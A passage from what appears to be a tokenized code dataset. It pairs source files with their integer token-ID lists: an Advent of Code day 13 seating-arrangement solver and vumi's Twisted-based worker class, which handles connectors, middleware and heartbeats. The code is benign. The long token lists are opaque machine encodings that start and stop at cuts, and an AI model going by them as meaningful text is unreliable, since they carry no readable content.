7607,
1688,
29990,
29892,
1243,
29891,
511,
13,
9651,
6939,
29879,
11759,
29923,
279,
368,
20754,
3262,
29898,
3712,
2105,
2433,
6758,
742,
282,
24701,
29922,
29886,
24701,
29892,
17749,
29918,
13318,
29918,
705,
5861,
29922,
5574,
29897,
2314,
13,
13,
1678,
396,
4803,
16370,
3564,
304,
8500,
4808,
29899,
1627,
848,
13,
1678,
4450,
29979,
353,
1904,
29889,
27711,
29898,
1688,
29990,
29897,
13,
13,
1678,
5534,
4450,
29891,
29892,
7252,
29891,
13,
13,
1678,
4450,
29891,
353,
7442,
29889,
4397,
29898,
11965,
29891,
29892,
7442,
29889,
1191,
3317,
29898,
11965,
29979,
29892,
9685,
29922,
29896,
876,
13,
1678,
7252,
29891,
353,
7442,
29889,
4397,
29898,
18307,
29891,
29892,
7442,
29889,
1191,
3317,
29898,
1688,
29891,
29892,
9685,
29922,
29896,
876,
13,
13,
1678,
396,
3115,
671,
476,
1572,
29915,
29879,
17983,
740,
13,
1678,
6410,
29892,
13600,
353,
1904,
29889,
24219,
403,
29898,
1688,
29990,
29892,
1243,
29891,
29892,
9853,
29918,
2311,
29922,
16175,
29918,
2311,
29892,
26952,
29922,
29900,
29897,
13,
1678,
736,
313,
6758,
29892,
13600,
29897,
13,
13,
29937,
1065,
385,
7639,
13,
29937,
515,
2045,
597,
23523,
21891,
6207,
29891,
29889,
510,
29914,
3525,
29899,
517,
29899,
4888,
29899,
29878,
15755,
29899,
9794,
29899,
1454,
29899,
26029,
29899,
10072,
29899,
29423,
654,
29899,
2230,
29899,
13757,
29899,
1990,
2450,
29914,
13,
1753,
1065,
29918,
735,
15362,
29898,
29990,
29892,
343,
1125,
13,
1678,
19435,
353,
5159,
13,
1678,
28495,
353,
5159,
13,
13,
1678,
16717,
353,
29871,
29946,
29906,
13,
13,
1678,
396,
830,
11666,
7639,
13,
1678,
363,
364,
297,
3464,
29898,
276,
412,
1446,
1125,
13,
4706,
396,
21771,
1250,
29871,
29906,
29900,
29995,
310,
278,
848,
304,
5645,
13600,
13,
4706,
7945,
29990,
29892,
1243,
29990,
29892,
1020,
4901,
29892,
1243,
29891,
353,
7945,
29918,
1688,
29918,
5451,
29898,
29990,
29892,
343,
29892,
1243,
29918,
2311,
29922,
29900,
29889,
29906,
29900,
29892,
4036,
29918,
3859,
29922,
26776,
29897,
13,
13,
4706,
6410,
29892,
8158,
353,
14707,
29918,
4299,
29898,
14968,
29990,
29892,
1020,
4901,
29892,
1243,
29990,
29892,
1243,
29891,
29897,
13,
4706,
8158,
353,
8158,
334,
29871,
29896,
29900,
29900,
29889,
29900,
13,
4706,
1596,
877,
29958,
29937,
29995,
29881,
29901,
18695,
29941,
29888,
29915,
1273,
313,
29878,
29974,
29896,
29892,
8158,
876,
13,
4706,
19435,
29889,
4397,
29898,
13628,
29897,
13,
4706,
28495,
29889,
4397,
29898,
6758,
29897,
13,
13,
4706,
16717,
4619,
29871,
29896,
13,
13,
1678,
396,
6991,
3034,
675,
2582,
4822,
15729,
13,
1678,
1596,
29898,
1557,
2361,
29897,
13,
1678,
1596,
29898,
6758,
267,
29897,
13,
13,
1678,
286,
29892,
269,
353,
7442,
29889,
12676,
29898,
1557,
2361,
511,
7442,
29889,
4172,
29898,
1557,
2361,
29897,
13,
1678,
1596,
877,
7504,
332,
4135,
29901,
18695,
29941,
29888,
7686,
20532,
24028,
15543,
29941,
29888,
16029,
1273,
313,
29885,
29892,
269,
876,
13,
13,
29937,
515,
27441,
25547,
451,
19273,
3971,
491,
3815,
13,
1753,
2254,
29918,
1445,
29898,
9507,
1125,
13,
1678,
4489,
353,
10518,
29889,
949,
29918,
7638,
29898,
9507,
29892,
2983,
353,
518,
525,
2230,
742,
525,
5450,
29916,
742,
525,
307,
1017,
742,
525,
5450,
29920,
742,
525,
562,
2242,
29916,
742,
525,
5753,
873,
742,
525,
562,
2242,
29920,
11287,
13,
13,
1678,
396,
20724,
4235,
591,
437,
451,
2562,
1048,
13,
1678,
4489,
29889,
8865,
29898,
13099,
2433,
2230,
742,
297,
6689,
353,
5852,
29897,
13,
13,
1678,
736,
4489,
13,
13,
29937,
515,
27441,
25547,
451,
19273,
3971,
491,
3815,
13,
1753,
2254,
29918,
1643,
29898,
2084,
1125,
13,
1678,
7500,
353,
5159,
13,
1678,
363,
1024,
297,
13149,
29898,
2084,
1125,
13,
4706,
848,
353,
2254,
29918,
1445,
29898,
978,
29897,
13,
4706,
7500,
29889,
4397,
29898,
1272,
29889,
5975,
29897,
13,
13,
1678,
736,
7500,
13,
13,
29937,
16849,
841,
491,
529,
5813,
29958,
304,
3402,
848,
7128,
2486,
363,
12693,
294,
13,
1753,
2254,
29918,
21134,
29898,
24772,
1125,
13,
1678,
7500,
353,
5159,
13,
1678,
22525,
353,
5159,
13,
13,
1678,
3858,
353,
29871,
29900,
13,
13,
1678,
363,
2224,
297,
10898,
29901,
13,
4706,
19875,
353,
2254,
29918,
1643,
29898,
2084,
29897,
13,
4706,
7500,
29889,
21843,
29898,
29812,
29897,
13,
4706,
22525,
29889,
21843,
29898,
2435,
29898,
29812,
29897,
334,
518,
3858,
29871,
2314,
13,
13,
4706,
3858,
353,
3858,
718,
29871,
29896,
13,
13,
1678,
7500,
353,
7442,
29889,
294,
2378,
29898,
15638,
29897,
13,
1678,
22525,
353,
304,
29918,
29883,
20440,
936,
29898,
5182,
29879,
29897,
13,
13,
1678,
736,
313,
15638,
29892,
22525,
29897,
13,
13,
473,
29918,
4299,
353,
734,
305,
347,
29918,
29886,
24990,
29918,
4299,
13,
13,
11965,
29891,
353,
7442,
29889,
6310,
29898,
29900,
29897,
13,
18307,
29891,
353,
7442,
29889,
6310,
29898,
29900,
29897,
13,
13,
1022,
2878,
29879,
353,
29871,
29945,
29900,
29900,
13,
29886,
24701,
353,
29871,
29953,
29900,
13,
369,
15828,
353,
29871,
29896,
13,
16175,
29918,
2311,
353,
29871,
29941,
29906,
13,
276,
412,
1446,
353,
29871,
29896,
29946,
13,
13,
29937,
16012,
3858,
839,
848,
13,
20683,
353,
518,
525,
23908,
20919,
742,
525,
855,
4521,
742,
525,
11042,
292,
29915,
4514,
13,
13,
29990,
29892,
343,
353,
2254,
29918,
21134,
18959,
2975,
20919,
29914,
16773,
5515,
742,
525,
29352,
29914,
16773,
5515,
742,
525,
11235,
29914,
16773,
5515,
11287,
13,
13,
29937,
1383,
21897,
278,
848,
13,
29990,
29892,
343,
353,
528,
21897,
29898,
29990,
29892,
343,
29892,
4036,
29918,
3859,
29922,
29953,
29946,
29900,
29897,
13,
13,
3389,
29918,
735,
15362,
29898,
29990,
29892,
343,
29897,
13,
13,
2158,
877,
2385,
2450,
13969,
1495,
13,
2158,
29898,
1990,
2450,
29918,
12276,
29898,
18307,
29891,
29892,
4450,
29891,
29892,
7442,
29889,
279,
927,
29898,
2435,
29898,
20683,
8243,
13997,
29892,
13340,
29922,
29941,
876,
13,
4912,
353,
14679,
29918,
5344,
29898,
18307,
29891,
29892,
4450,
29891,
29897,
13,
13,
2158,
29898,
4912,
29897,
13,
2
] |
python/day13.py | narimiran/advent_of_code_2015 | 5 | 179601 | from collections import defaultdict
from itertools import permutations
def parse_line(line):
a, _, gl, n, *_, b = line.split()
return a, b[:-1], gl, int(n)
def create_relations(data):
relations = defaultdict(lambda: defaultdict(int))
for a, b, gl, n in data:
relations[a][b] = n if gl == 'gain' else -n
return relations
solve = lambda people, rels: (
max(sum(rels[a][b] + rels[b][a]
for a, b in zip(pp, list(pp[1:]) + [pp[0]]))
for pp in permutations(people)))
data = map(parse_line, open("inputs/13.txt").read().splitlines())
relations = create_relations(data)
people = set(relations.keys())
print(solve(people, relations))
print(solve(people | {'me'}, relations))
| [
1,
515,
16250,
1053,
2322,
8977,
13,
3166,
4256,
8504,
1053,
20005,
800,
13,
13,
13,
1753,
6088,
29918,
1220,
29898,
1220,
1125,
13,
1678,
263,
29892,
17117,
3144,
29892,
302,
29892,
334,
3383,
289,
353,
1196,
29889,
5451,
580,
13,
1678,
736,
263,
29892,
289,
7503,
29899,
29896,
1402,
3144,
29892,
938,
29898,
29876,
29897,
13,
13,
1753,
1653,
29918,
2674,
800,
29898,
1272,
1125,
13,
1678,
5302,
353,
2322,
8977,
29898,
2892,
29901,
2322,
8977,
29898,
524,
876,
13,
1678,
363,
263,
29892,
289,
29892,
3144,
29892,
302,
297,
848,
29901,
13,
4706,
5302,
29961,
29874,
3816,
29890,
29962,
353,
302,
565,
3144,
1275,
525,
29887,
475,
29915,
1683,
448,
29876,
13,
1678,
736,
5302,
13,
13,
2929,
345,
353,
14013,
2305,
29892,
1104,
29879,
29901,
313,
13,
1678,
4236,
29898,
2083,
29898,
2674,
29879,
29961,
29874,
3816,
29890,
29962,
718,
1104,
29879,
29961,
29890,
3816,
29874,
29962,
13,
9651,
363,
263,
29892,
289,
297,
14319,
29898,
407,
29892,
1051,
29898,
407,
29961,
29896,
29901,
2314,
718,
518,
407,
29961,
29900,
5262,
876,
13,
4706,
363,
6499,
297,
20005,
800,
29898,
25719,
4961,
13,
13,
13,
1272,
353,
2910,
29898,
5510,
29918,
1220,
29892,
1722,
703,
2080,
29879,
29914,
29896,
29941,
29889,
3945,
2564,
949,
2141,
5451,
9012,
3101,
13,
2674,
800,
353,
1653,
29918,
2674,
800,
29898,
1272,
29897,
13,
25719,
353,
731,
29898,
2674,
800,
29889,
8149,
3101,
13,
13,
2158,
29898,
2929,
345,
29898,
25719,
29892,
5302,
876,
13,
2158,
29898,
2929,
345,
29898,
25719,
891,
11117,
1004,
16675,
5302,
876,
13,
2
] |
vumi/worker.py | hnec-vr/vumi | 1 | 22581 | # -*- test-case-name: vumi.tests.test_worker -*-
"""Basic tools for workers that handle TransportMessages."""
import time
import os
import socket
from twisted.internet.defer import (
inlineCallbacks, succeed, maybeDeferred, gatherResults)
from twisted.python import log
from vumi.service import Worker
from vumi.middleware import setup_middlewares_from_config
from vumi.connectors import ReceiveInboundConnector, ReceiveOutboundConnector
from vumi.config import Config, ConfigInt
from vumi.errors import DuplicateConnectorError
from vumi.utils import generate_worker_id
from vumi.blinkenlights.heartbeat import (HeartBeatPublisher,
HeartBeatMessage)
def then_call(d, func, *args, **kw):
return d.addCallback(lambda r: func(*args, **kw))
class BaseConfig(Config):
"""Base config definition for workers.
You should subclass this and add worker-specific fields.
"""
amqp_prefetch_count = ConfigInt(
"The number of messages fetched concurrently from each AMQP queue"
" by each worker instance.",
default=20, static=True)
class BaseWorker(Worker):
"""Base class for a message processing worker.
This contains common functionality used by application, transport and
dispatcher workers. It should be subclassed by workers that need to
manage their own connectors.
"""
CONFIG_CLASS = BaseConfig
def __init__(self, options, config=None):
super(BaseWorker, self).__init__(options, config=config)
self.connectors = {}
self.middlewares = []
self._static_config = self.CONFIG_CLASS(self.config, static=True)
self._hb_pub = None
self._worker_id = None
def startWorker(self):
log.msg('Starting a %s worker with config: %s'
% (self.__class__.__name__, self.config))
d = maybeDeferred(self._validate_config)
then_call(d, self.setup_heartbeat)
then_call(d, self.setup_middleware)
then_call(d, self.setup_connectors)
then_call(d, self.setup_worker)
return d
def stopWorker(self):
log.msg('Stopping a %s worker.' % (self.__class__.__name__,))
d = succeed(None)
then_call(d, self.teardown_worker)
then_call(d, self.teardown_connectors)
then_call(d, self.teardown_middleware)
then_call(d, self.teardown_heartbeat)
return d
def setup_connectors(self):
raise NotImplementedError()
@inlineCallbacks
def setup_heartbeat(self):
# Disable heartbeats if worker_name is not set. We're
# currently using it as the primary identifier for a worker
if 'worker_name' in self.config:
self._worker_name = self.config.get("worker_name")
self._system_id = self.options.get("system-id", "global")
self._worker_id = generate_worker_id(self._system_id,
self._worker_name)
log.msg("Starting HeartBeat publisher with worker_name=%s"
% self._worker_name)
self._hb_pub = yield self.start_publisher(HeartBeatPublisher,
self._gen_heartbeat_attrs)
else:
log.msg("HeartBeat publisher disabled. No worker_id "
"field found in config.")
def teardown_heartbeat(self):
if self._hb_pub is not None:
self._hb_pub.stop()
self._hb_pub = None
def _gen_heartbeat_attrs(self):
# worker_name is guaranteed to be set here, otherwise this func would
# not have been called
attrs = {
'version': HeartBeatMessage.VERSION_20130319,
'worker_id': self._worker_id,
'system_id': self._system_id,
'worker_name': self._worker_name,
'hostname': socket.gethostname(),
'timestamp': time.time(),
'pid': os.getpid(),
}
attrs.update(self.custom_heartbeat_attrs())
return attrs
def custom_heartbeat_attrs(self):
"""Worker subclasses can override this to add custom attributes"""
return {}
def teardown_connectors(self):
d = succeed(None)
for connector_name in self.connectors.keys():
then_call(d, self.teardown_connector, connector_name)
return d
def setup_worker(self):
raise NotImplementedError()
def teardown_worker(self):
raise NotImplementedError()
def setup_middleware(self):
"""Create middlewares from config."""
d = setup_middlewares_from_config(self, self.config)
d.addCallback(self.middlewares.extend)
return d
def teardown_middleware(self):
"""Teardown middlewares."""
d = succeed(None)
for mw in reversed(self.middlewares):
then_call(d, mw.teardown_middleware)
return d
def get_static_config(self):
"""Return static (message independent) configuration."""
return self._static_config
def get_config(self, msg, ctxt=None):
"""This should return a message and context specific config object.
It deliberately returns a deferred even when this isn't strictly
necessary to ensure that workers will continue to work when per-message
configuration needs to be fetched from elsewhere.
"""
return succeed(self.CONFIG_CLASS(self.config))
def _validate_config(self):
"""Once subclasses call `super().validate_config` properly,
this method can be removed.
"""
# TODO: remove this once all uses of validate_config have been fixed.
self.validate_config()
def validate_config(self):
"""
Application-specific config validation happens in here.
Subclasses may override this method to perform extra config
validation.
"""
# TODO: deprecate this in favour of a similar method on
# config classes.
pass
def setup_connector(self, connector_cls, connector_name, middleware=False):
if connector_name in self.connectors:
raise DuplicateConnectorError("Attempt to add duplicate connector"
" with name %r" % (connector_name,))
prefetch_count = self.get_static_config().amqp_prefetch_count
middlewares = self.middlewares if middleware else None
connector = connector_cls(self, connector_name,
prefetch_count=prefetch_count,
middlewares=middlewares)
self.connectors[connector_name] = connector
d = connector.setup()
d.addCallback(lambda r: connector)
return d
def teardown_connector(self, connector_name):
connector = self.connectors.pop(connector_name)
d = connector.teardown()
d.addCallback(lambda r: connector)
return d
def setup_ri_connector(self, connector_name, middleware=True):
return self.setup_connector(ReceiveInboundConnector, connector_name,
middleware=middleware)
def setup_ro_connector(self, connector_name, middleware=True):
return self.setup_connector(ReceiveOutboundConnector, connector_name,
middleware=middleware)
def pause_connectors(self):
return gatherResults([
connector.pause() for connector in self.connectors.itervalues()])
def unpause_connectors(self):
for connector in self.connectors.itervalues():
connector.unpause()
| [
1,
396,
448,
29930,
29899,
1243,
29899,
4878,
29899,
978,
29901,
325,
15547,
29889,
21150,
29889,
1688,
29918,
24602,
448,
29930,
29899,
13,
13,
15945,
29908,
16616,
8492,
363,
17162,
393,
4386,
15710,
25510,
1213,
15945,
13,
13,
5215,
931,
13,
5215,
2897,
13,
5215,
9909,
13,
13,
3166,
3252,
12652,
29889,
14168,
300,
29889,
311,
571,
1053,
313,
13,
1678,
10583,
10717,
29879,
29892,
9269,
29892,
5505,
2772,
14373,
29892,
11705,
12191,
29897,
13,
3166,
3252,
12652,
29889,
4691,
1053,
1480,
13,
13,
3166,
325,
15547,
29889,
5509,
1053,
5244,
261,
13,
3166,
325,
15547,
29889,
17662,
2519,
1053,
6230,
29918,
17662,
4495,
267,
29918,
3166,
29918,
2917,
13,
3166,
325,
15547,
29889,
6915,
943,
1053,
24328,
573,
797,
9917,
20971,
2801,
29892,
24328,
573,
3744,
9917,
20971,
2801,
13,
3166,
325,
15547,
29889,
2917,
1053,
12782,
29892,
12782,
2928,
13,
3166,
325,
15547,
29889,
12523,
1053,
18733,
5926,
20971,
2801,
2392,
13,
3166,
325,
15547,
29889,
13239,
1053,
5706,
29918,
24602,
29918,
333,
13,
3166,
325,
15547,
29889,
2204,
682,
264,
4366,
29879,
29889,
23057,
915,
271,
1053,
313,
3868,
442,
3629,
271,
21076,
1674,
261,
29892,
13,
462,
462,
3986,
17778,
3629,
271,
3728,
29897,
13,
13,
13,
1753,
769,
29918,
4804,
29898,
29881,
29892,
3653,
29892,
334,
5085,
29892,
3579,
11022,
1125,
13,
1678,
736,
270,
29889,
1202,
10717,
29898,
2892,
364,
29901,
3653,
10456,
5085,
29892,
3579,
11022,
876,
13,
13,
13,
1990,
7399,
3991,
29898,
3991,
1125,
13,
1678,
9995,
5160,
2295,
5023,
363,
17162,
29889,
13,
13,
1678,
887,
881,
19481,
445,
322,
788,
15645,
29899,
14940,
4235,
29889,
13,
1678,
9995,
13,
13,
1678,
626,
29939,
29886,
29918,
29886,
999,
3486,
29918,
2798,
353,
12782,
2928,
29898,
13,
4706,
376,
1576,
1353,
310,
7191,
6699,
287,
21984,
368,
515,
1269,
13862,
29984,
29925,
9521,
29908,
13,
4706,
376,
491,
1269,
15645,
2777,
19602,
13,
4706,
2322,
29922,
29906,
29900,
29892,
2294,
29922,
5574,
29897,
13,
13,
13,
1990,
7399,
16164,
29898,
16164,
1125,
13,
1678,
9995,
5160,
770,
363,
263,
2643,
9068,
15645,
29889,
13,
13,
1678,
910,
3743,
3619,
9863,
1304,
491,
2280,
29892,
8608,
322,
13,
1678,
13916,
261,
17162,
29889,
739,
881,
367,
19481,
287,
491,
17162,
393,
817,
304,
13,
1678,
10933,
1009,
1914,
4511,
943,
29889,
13,
1678,
9995,
13,
13,
1678,
8707,
18667,
29918,
13875,
1799,
353,
7399,
3991,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3987,
29892,
2295,
29922,
8516,
1125,
13,
4706,
2428,
29898,
5160,
16164,
29892,
1583,
467,
1649,
2344,
12035,
6768,
29892,
2295,
29922,
2917,
29897,
13,
4706,
1583,
29889,
6915,
943,
353,
6571,
13,
4706,
1583,
29889,
17662,
4495,
267,
353,
5159,
13,
4706,
1583,
3032,
7959,
29918,
2917,
353,
1583,
29889,
25903,
29918,
13875,
1799,
29898,
1311,
29889,
2917,
29892,
2294,
29922,
5574,
29897,
13,
4706,
1583,
3032,
29882,
29890,
29918,
5467,
353,
6213,
13,
4706,
1583,
3032,
24602,
29918,
333,
353,
6213,
13,
13,
1678,
822,
1369,
16164,
29898,
1311,
1125,
13,
4706,
1480,
29889,
7645,
877,
4763,
292,
263,
1273,
29879,
15645,
411,
2295,
29901,
1273,
29879,
29915,
13,
18884,
1273,
313,
1311,
17255,
1990,
1649,
17255,
978,
1649,
29892,
1583,
29889,
2917,
876,
13,
4706,
270,
353,
5505,
2772,
14373,
29898,
1311,
3032,
15480,
29918,
2917,
29897,
13,
4706,
769,
29918,
4804,
29898,
29881,
29892,
1583,
29889,
14669,
29918,
23057,
915,
271,
29897,
13,
4706,
769,
29918,
4804,
29898,
29881,
29892,
1583,
29889,
14669,
29918,
17662,
2519,
29897,
13,
4706,
769,
29918,
4804,
29898,
29881,
29892,
1583,
29889,
14669,
29918,
6915,
943,
29897,
13,
4706,
769,
29918,
4804,
29898,
29881,
29892,
1583,
29889,
14669,
29918,
24602,
29897,
13,
4706,
736,
270,
13,
13,
1678,
822,
5040,
16164,
29898,
1311,
1125,
13,
4706,
1480,
29889,
7645,
877,
20754,
3262,
263,
1273,
29879,
15645,
6169,
1273,
313,
1311,
17255,
1990,
1649,
17255,
978,
1649,
29892,
876,
13,
4706,
270,
353,
9269,
29898,
8516,
29897,
13,
4706,
769,
29918,
4804,
29898,
29881,
29892,
1583,
29889,
371,
538,
776,
29918,
24602,
29897,
13,
4706,
769,
29918,
4804,
29898,
29881,
29892,
1583,
29889,
371,
538,
776,
29918,
6915,
943,
29897,
13,
4706,
769,
29918,
4804,
29898,
29881,
29892,
1583,
29889,
371,
538,
776,
29918,
17662,
2519,
29897,
13,
4706,
769,
29918,
4804,
29898,
29881,
29892,
1583,
29889,
371,
538,
776,
29918,
23057,
915,
271,
29897,
13,
4706,
736,
270,
13,
13,
1678,
822,
6230,
29918,
6915,
943,
29898,
1311,
1125,
13,
4706,
12020,
2216,
1888,
2037,
287,
2392,
580,
13,
13,
1678,
732,
14764,
10717,
29879,
13,
1678,
822,
6230,
29918,
23057,
915,
271,
29898,
1311,
1125,
13,
4706,
396,
3295,
519,
5192,
915,
1446,
565,
15645,
29918,
978,
338,
451,
731,
29889,
1334,
29915,
276,
13,
4706,
396,
5279,
773,
372,
408,
278,
7601,
15882,
363,
263,
15645,
13,
4706,
565,
525,
24602,
29918,
978,
29915,
297,
1583,
29889,
2917,
29901,
13,
9651,
1583,
3032,
24602,
29918,
978,
353,
1583,
29889,
2917,
29889,
657,
703,
24602,
29918,
978,
1159,
13,
9651,
1583,
3032,
5205,
29918,
333,
353,
1583,
29889,
6768,
29889,
657,
703,
5205,
29899,
333,
613,
376,
10945,
1159,
13,
9651,
1583,
3032,
24602,
29918,
333,
353,
5706,
29918,
24602,
29918,
333,
29898,
1311,
3032,
5205,
29918,
333,
29892,
13,
462,
462,
462,
1583,
3032,
24602,
29918,
978,
29897,
13,
9651,
1480,
29889,
7645,
703,
4763,
292,
17778,
3629,
271,
9805,
261,
411,
15645,
29918,
978,
16328,
29879,
29908,
13,
462,
1678,
1273,
1583,
3032,
24602,
29918,
978,
29897,
13,
9651,
1583,
3032,
29882,
29890,
29918,
5467,
353,
7709,
1583,
29889,
2962,
29918,
23679,
261,
29898,
3868,
442,
3629,
271,
21076,
1674,
261,
29892,
13,
462,
462,
18884,
1583,
3032,
1885,
29918,
23057,
915,
271,
29918,
5552,
29879,
29897,
13,
4706,
1683,
29901,
13,
9651,
1480,
29889,
7645,
703,
3868,
442,
3629,
271,
9805,
261,
12708,
29889,
1939,
15645,
29918,
333,
376,
13,
462,
1678,
376,
2671,
1476,
297,
2295,
23157,
13,
13,
1678,
822,
734,
538,
776,
29918,
23057,
915,
271,
29898,
1311,
1125,
13,
4706,
565,
1583,
3032,
29882,
29890,
29918,
5467,
338,
451,
6213,
29901,
13,
9651,
1583,
3032,
29882,
29890,
29918,
5467,
29889,
9847,
580,
13,
9651,
1583,
3032,
29882,
29890,
29918,
5467,
353,
6213,
13,
13,
1678,
822,
903,
1885,
29918,
23057,
915,
271,
29918,
5552,
29879,
29898,
1311,
1125,
13,
4706,
396,
15645,
29918,
978,
338,
22688,
304,
367,
731,
1244,
29892,
6467,
445,
3653,
723,
13,
4706,
396,
451,
505,
1063,
2000,
13,
4706,
12421,
29879,
353,
426,
13,
9651,
525,
3259,
2396,
17778,
3629,
271,
3728,
29889,
16358,
29918,
29906,
29900,
29896,
29941,
29900,
29941,
29896,
29929,
29892,
13,
9651,
525,
24602,
29918,
333,
2396,
1583,
3032,
24602,
29918,
333,
29892,
13,
9651,
525,
5205,
29918,
333,
2396,
1583,
3032,
5205,
29918,
333,
29892,
13,
9651,
525,
24602,
29918,
978,
2396,
1583,
3032,
24602,
29918,
978,
29892,
13,
9651,
525,
28988,
2396,
9909,
29889,
29887,
621,
520,
978,
3285,
13,
9651,
525,
16394,
2396,
931,
29889,
2230,
3285,
13,
9651,
525,
5935,
2396,
2897,
29889,
657,
5935,
3285,
13,
4706,
500,
13,
4706,
12421,
29879,
29889,
5504,
29898,
1311,
29889,
6341,
29918,
23057,
915,
271,
29918,
5552,
29879,
3101,
13,
4706,
736,
12421,
29879,
13,
13,
1678,
822,
2888,
29918,
23057,
915,
271,
29918,
5552,
29879,
29898,
1311,
1125,
13,
4706,
9995,
16164,
1014,
13203,
508,
5712,
445,
304,
788,
2888,
8393,
15945,
29908,
13,
4706,
736,
6571,
13,
13,
1678,
822,
734,
538,
776,
29918,
6915,
943,
29898,
1311,
1125,
13,
4706,
270,
353,
9269,
29898,
8516,
29897,
13,
4706,
363,
1826,
2801,
29918,
978,
297,
1583,
29889,
6915,
943,
29889,
8149,
7295,
13,
9651,
769,
29918,
4804,
29898,
29881,
29892,
1583,
29889,
371,
538,
776,
29918,
11958,
2801,
29892,
1826,
2801,
29918,
978,
29897,
13,
4706,
736,
270,
13,
13,
1678,
822,
6230,
29918,
24602,
29898,
1311,
1125,
13,
4706,
12020,
2216,
1888,
2037,
287,
2392,
580,
13,
13,
1678,
822,
734,
538,
776,
29918,
24602,
29898,
1311,
1125,
13,
4706,
12020,
2216,
1888,
2037,
287,
2392,
580,
13,
13,
1678,
822,
6230,
29918,
17662,
2519,
29898,
1311,
1125,
13,
4706,
9995,
4391,
7256,
4495,
267,
515,
2295,
1213,
15945,
13,
4706,
270,
353,
6230,
29918,
17662,
4495,
267,
29918,
3166,
29918,
2917,
29898,
1311,
29892,
1583,
29889,
2917,
29897,
13,
4706,
270,
29889,
1202,
10717,
29898,
1311,
29889,
17662,
4495,
267,
29889,
21843,
29897,
13,
4706,
736,
270,
13,
13,
1678,
822,
734,
538,
776,
29918,
17662,
2519,
29898,
1311,
1125,
13,
4706,
9995,
7141,
538,
776,
7256,
4495,
267,
1213,
15945,
13,
4706,
270,
353,
9269,
29898,
8516,
29897,
13,
4706,
363,
286,
29893,
297,
18764,
287,
29898,
1311,
29889,
17662,
4495,
267,
1125,
13,
9651,
769,
29918,
4804,
29898,
29881,
29892,
286,
29893,
29889,
371,
538,
776,
29918,
17662,
2519,
29897,
13,
4706,
736,
270,
13,
13,
1678,
822,
679,
29918,
7959,
29918,
2917,
29898,
1311,
1125,
13,
4706,
9995,
11609,
2294,
313,
4906,
7417,
29897,
5285,
1213,
15945,
13,
4706,
736,
1583,
3032,
7959,
29918,
2917,
13,
13,
1678,
822,
679,
29918,
2917,
29898,
1311,
29892,
10191,
29892,
274,
3945,
29922,
8516,
1125,
13,
4706,
9995,
4013,
881,
736,
263,
2643,
322,
3030,
2702,
2295,
1203,
29889,
13,
13,
4706,
739,
23663,
2486,
3639,
263,
316,
14373,
1584,
746,
445,
3508,
29915,
29873,
18719,
13,
4706,
5181,
304,
9801,
393,
17162,
674,
6773,
304,
664,
746,
639,
29899,
4906,
13,
4706,
5285,
4225,
304,
367,
6699,
287,
515,
17551,
29889,
13,
4706,
9995,
13,
4706,
736,
9269,
29898,
1311,
29889,
25903,
29918,
13875,
1799,
29898,
1311,
29889,
2917,
876,
13,
13,
1678,
822,
903,
15480,
29918,
2917,
29898,
1311,
1125,
13,
4706,
9995,
26222,
1014,
13203,
1246,
421,
9136,
2141,
15480,
29918,
2917,
29952,
6284,
29892,
13,
965,
445,
1158,
508,
367,
6206,
29889,
13,
965,
9995,
13,
4706,
396,
14402,
29901,
3349,
445,
2748,
599,
3913,
310,
12725,
29918,
2917,
505,
1063,
4343,
29889,
13,
4706,
1583,
29889,
15480,
29918,
2917,
580,
13,
13,
1678,
822,
12725,
29918,
2917,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
8427,
29899,
14940,
2295,
8845,
5930,
297,
1244,
29889,
13,
13,
4706,
3323,
13203,
1122,
5712,
445,
1158,
304,
2189,
4805,
2295,
13,
4706,
8845,
29889,
13,
4706,
9995,
13,
4706,
396,
14402,
29901,
16460,
403,
445,
297,
15381,
310,
263,
2788,
1158,
373,
13,
4706,
396,
539,
2295,
4413,
29889,
13,
4706,
1209,
13,
13,
1678,
822,
6230,
29918,
11958,
2801,
29898,
1311,
29892,
1826,
2801,
29918,
25932,
29892,
1826,
2801,
29918,
978,
29892,
7256,
2519,
29922,
8824,
1125,
13,
4706,
565,
1826,
2801,
29918,
978,
297,
1583,
29889,
6915,
943,
29901,
13,
9651,
12020,
18733,
5926,
20971,
2801,
2392,
703,
4165,
3456,
304,
788,
7929,
1826,
2801,
29908,
13,
462,
462,
3986,
376,
411,
1024,
1273,
29878,
29908,
1273,
313,
11958,
2801,
29918,
978,
29892,
876,
13,
4706,
758,
9155,
29918,
2798,
353,
1583,
29889,
657,
29918,
7959,
29918,
2917,
2141,
314,
29939,
29886,
29918,
29886,
999,
3486,
29918,
2798,
13,
4706,
7256,
4495,
267,
353,
1583,
29889,
17662,
4495,
267,
565,
7256,
2519,
1683,
6213,
13,
13,
4706,
1826,
2801,
353,
1826,
2801,
29918,
25932,
29898,
1311,
29892,
1826,
2801,
29918,
978,
29892,
13,
462,
462,
29871,
758,
9155,
29918,
2798,
29922,
29886,
999,
3486,
29918,
2798,
29892,
13,
462,
462,
29871,
7256,
4495,
267,
29922,
17662,
4495,
267,
29897,
13,
4706,
1583,
29889,
6915,
943,
29961,
11958,
2801,
29918,
978,
29962,
353,
1826,
2801,
13,
13,
4706,
270,
353,
1826,
2801,
29889,
14669,
580,
13,
4706,
270,
29889,
1202,
10717,
29898,
2892,
364,
29901,
1826,
2801,
29897,
13,
4706,
736,
270,
13,
13,
1678,
822,
734,
538,
776,
29918,
11958,
2801,
29898,
1311,
29892,
1826,
2801,
29918,
978,
1125,
13,
4706,
1826,
2801,
353,
1583,
29889,
6915,
943,
29889,
7323,
29898,
11958,
2801,
29918,
978,
29897,
13,
4706,
270,
353,
1826,
2801,
29889,
371,
538,
776,
580,
13,
4706,
270,
29889,
1202,
10717,
29898,
2892,
364,
29901,
1826,
2801,
29897,
13,
4706,
736,
270,
13,
13,
1678,
822,
6230,
29918,
374,
29918,
11958,
2801,
29898,
1311,
29892,
1826,
2801,
29918,
978,
29892,
7256,
2519,
29922,
5574,
1125,
13,
4706,
736,
1583,
29889,
14669,
29918,
11958,
2801,
29898,
24131,
797,
9917,
20971,
2801,
29892,
1826,
2801,
29918,
978,
29892,
13,
462,
462,
1678,
7256,
2519,
29922,
17662,
2519,
29897,
13,
13,
1678,
822,
6230,
29918,
307,
29918,
11958,
2801,
29898,
1311,
29892,
1826,
2801,
29918,
978,
29892,
7256,
2519,
29922,
5574,
1125,
13,
4706,
736,
1583,
29889,
14669,
29918,
11958,
2801,
29898,
24131,
3744,
9917,
20971,
2801,
29892,
1826,
2801,
29918,
978,
29892,
13,
462,
462,
1678,
7256,
2519,
29922,
17662,
2519,
29897,
13,
13,
1678,
822,
19957,
29918,
